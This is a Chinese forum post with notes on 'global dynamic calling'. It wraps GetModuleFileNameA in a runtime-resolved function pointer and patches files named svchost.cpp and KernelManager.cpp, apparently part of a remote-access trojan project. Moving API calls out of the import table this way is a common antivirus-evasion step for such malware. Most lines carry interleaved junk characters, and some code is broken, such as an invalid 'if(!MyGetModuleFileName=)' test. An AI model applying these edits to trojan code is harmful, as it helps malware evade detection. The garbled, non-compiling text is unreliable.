[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
( G# r# c# `" G8 d! d( b- L- qsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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. Z. U/ o5 `! r1 gDTDY.h：
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) v! r0 H& m/ y7 ~1 a, E7 f- F#if _MSC_VER>1000
) ?$ z0 w7 [. x$ b7 T/ W7 O- l#pragma once2 E$ z% ~' P$ F. N4 s( y
#endif //_MSC_VER>1000, U. N3 {% [/ p7 P7 F; [% u
#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);3 ~; U1 g) ~9 m. D8 _7 t
class DTDY
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public:6 y' \0 Q9 P7 P  j
DTDY();
% X6 M* _6 |8 S3 z% a' O# Ivirtual ~DTDY();
* y7 S6 `9 n" j. {, C; }7 @public:
) N& W. r( e0 F5 istatic pGetModuleFileNameA MyGetModuleFileName;+ \4 j+ c) G# ^$ X4 q* Z
static BOOL FunInitiallization();1 ?! l+ H$ O; @
};0 d# w( x, A3 S0 V# U5 J* w0 z- O( G
#endif0 I  `, R: }+ C: o1 n+ z$ B
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DTDY.cpp:8 h  j  L4 S( L) L% w
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#include "DTDY.h"
! F' Q0 m) z' L, _: Q8 o* f& G  RpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
2 t- f- ?) ?: x- w5 R- {4 o1 XDTDY:TDY()
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}
& H9 \. ~) `( R; t% TDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()0 R5 W  c  O! y
{
  f# V( P7 @6 H6 PHMODULE hModule=LoadLibrary("kernel32.dll");
! C! j* ~( U8 t$ m. b* S/ dMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");2 F* R2 U& u. `" D+ m
if(!MyGetModuleFileName=) return FALSE;
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6 k! F# G% q. f* J6 Nreturn TRUE;& J/ r( d1 O  z% `) T% B
}
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svchost.cpp:
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8 V3 Y' W, A( D9 d#include "DTDY.h"" u5 C, w/ t/ R2 X' l) x

, \) L& g1 Y. i' e1 g6 c8 IBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)7 o- D& ^6 s% C2 z3 K/ q! t6 C
{
- S( w1 m9 r1 g- V9 S1 iswitch(ul_reason_for_call)" D% I  b' J6 P! S3 x) V+ O( W
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case DLL_PROCESS_ATTACH:$ r+ V% H1 R8 j& t5 H# n$ v* o
if(!DTDY::FunInitiallization()) return FALSE;
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break;3 m/ r2 y& r( T
}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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9 L+ r# S8 b! M' kKernelManager.cpp:& w) @4 _3 V* n# P4 N# ]

$ I" C8 B( b+ t0 x) R" I2 x( k/ J#include "../DTDY.h"$ Q! N7 ^" r2 V4 f8 p
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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0 }5 |) ], s( l4 [DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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